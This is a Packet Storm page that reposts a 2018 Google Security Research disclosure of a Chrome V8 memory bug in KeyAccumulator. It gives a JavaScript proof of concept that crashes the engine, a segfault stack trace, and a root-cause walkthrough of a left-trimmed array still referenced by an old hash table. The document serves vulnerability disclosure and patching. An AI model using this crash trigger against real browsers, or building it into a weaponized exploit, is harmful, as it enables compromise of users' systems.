exploit the possibilities

Chrome V8 KeyAccumulator Bug

Chrome V8 KeyAccumulator Bug
Posted Jul 12, 2018
Authored by Google Security Research, lokihardt

Chrome V8 suffers from a bug in KeyAccumulator that can cause a crash.

tags | exploit
MD5 | 9fee601d9a1d2470bc41cfa501ef0dbc

Chrome V8 KeyAccumulator Bug

Change Mirror Download
Chrome: V8: A bug with KeyAccumulator 




PoC:
for (let i = 0; i < 10; i++) {
let [tmp] = [,], arr = [...Array(9063)];
for (let j = 0; j < 400; j++) {
Reflect.ownKeys(arr).shift();
Array(64386);
}
}

Crash log:
Received signal 11 SEGV_MAPERR 30d96df00000

==== C stack trace ===============================

[0x555555f3c8f4]
[0x7ffff7bcb390]
[0x555555b48eb5]
[0x555555b46f0f]
[0x555555b0d201]
[0x555555b18c0e]
[0x555555b19286]
[0x555555b02119]
[0x555555afe9b1]
[0x555555afd305]
[0x555555b0815c]
[0x555555adba22]
[0x555555be31f9]
[0x555555c283f3]
[0x555555bc2779]
[0x555555a81423]
[0x555555bc4982]
[0x555555bc3c41]
[0x555555bc2cbb]
[0x555555bc24bb]
[0x555555bc23ec]
[0x55555587f644]
[0x37cbf798b5dd]
[end of stack trace]
Segmentation fault

What happens here is:

1. When rehashing a hash table, it stores the pointer to the new table into the old table (<a href="https://cs.chromium.org/chromium/src/v8/src/objects.cc?rcl=a2ca1996873f3ffa79d9495fb2cf4e7c0e51d9e9&l=18369" title="" class="" rel="nofollow">https://cs.chromium.org/chromium/src/v8/src/objects.cc?rcl=a2ca1996873f3ffa79d9495fb2cf4e7c0e51d9e9&l=18369</a>). The new table is directly used as the backing store of the result array of "Reflect.ownKeys(arr)".
2. The shift method invokes the MoveElements method which invokes the Heap::LeftTrimFixedArray method when "len > JSArray::kMaxCopyElements" is fulfilled (<a href="https://cs.chromium.org/chromium/src/v8/src/elements.cc?rcl=a2ca1996873f3ffa79d9495fb2cf4e7c0e51d9e9&l=2287" title="" class="" rel="nofollow">https://cs.chromium.org/chromium/src/v8/src/elements.cc?rcl=a2ca1996873f3ffa79d9495fb2cf4e7c0e51d9e9&l=2287</a>).
3. The Heap::LeftTrimFixedArray method cuts out the left 8 bytes (a pointer) of the backing store, and leaves a filter object (8 bytes) in there (<a href="https://cs.chromium.org/chromium/src/v8/src/heap/heap.cc?rcl=a2ca1996873f3ffa79d9495fb2cf4e7c0e51d9e9&l=2816" title="" class="" rel="nofollow">https://cs.chromium.org/chromium/src/v8/src/heap/heap.cc?rcl=a2ca1996873f3ffa79d9495fb2cf4e7c0e51d9e9&l=2816</a>). It seems this operation is performed based on the assumption that the pointer to the backing store is not held in other places. But the pointer to it was stored into the old table at 1.
4. So the filter object created at 3 is collected from the old table when a garbage collection triggered, since the size of the filter object is 8 bytes, it hits the assertion (<a href="https://cs.chromium.org/chromium/src/v8/src/utils.h?rcl=a2ca1996873f3ffa79d9495fb2cf4e7c0e51d9e9&l=1127" title="" class="" rel="nofollow">https://cs.chromium.org/chromium/src/v8/src/utils.h?rcl=a2ca1996873f3ffa79d9495fb2cf4e7c0e51d9e9&l=1127</a>).




Found by: lokihardt

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

January 2019

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jan 1st
    15 Files
  • 2
    Jan 2nd
    15 Files
  • 3
    Jan 3rd
    11 Files
  • 4
    Jan 4th
    1 Files
  • 5
    Jan 5th
    2 Files
  • 6
    Jan 6th
    5 Files
  • 7
    Jan 7th
    24 Files
  • 8
    Jan 8th
    15 Files
  • 9
    Jan 9th
    16 Files
  • 10
    Jan 10th
    23 Files
  • 11
    Jan 11th
    17 Files
  • 12
    Jan 12th
    3 Files
  • 13
    Jan 13th
    2 Files
  • 14
    Jan 14th
    18 Files
  • 15
    Jan 15th
    33 Files
  • 16
    Jan 16th
    23 Files
  • 17
    Jan 17th
    29 Files
  • 18
    Jan 18th
    15 Files
  • 19
    Jan 19th
    0 Files
  • 20
    Jan 20th
    0 Files
  • 21
    Jan 21st
    0 Files
  • 22
    Jan 22nd
    0 Files
  • 23
    Jan 23rd
    0 Files
  • 24
    Jan 24th
    0 Files
  • 25
    Jan 25th
    0 Files
  • 26
    Jan 26th
    0 Files
  • 27
    Jan 27th
    0 Files
  • 28
    Jan 28th
    0 Files
  • 29
    Jan 29th
    0 Files
  • 30
    Jan 30th
    0 Files
  • 31
    Jan 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2019 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close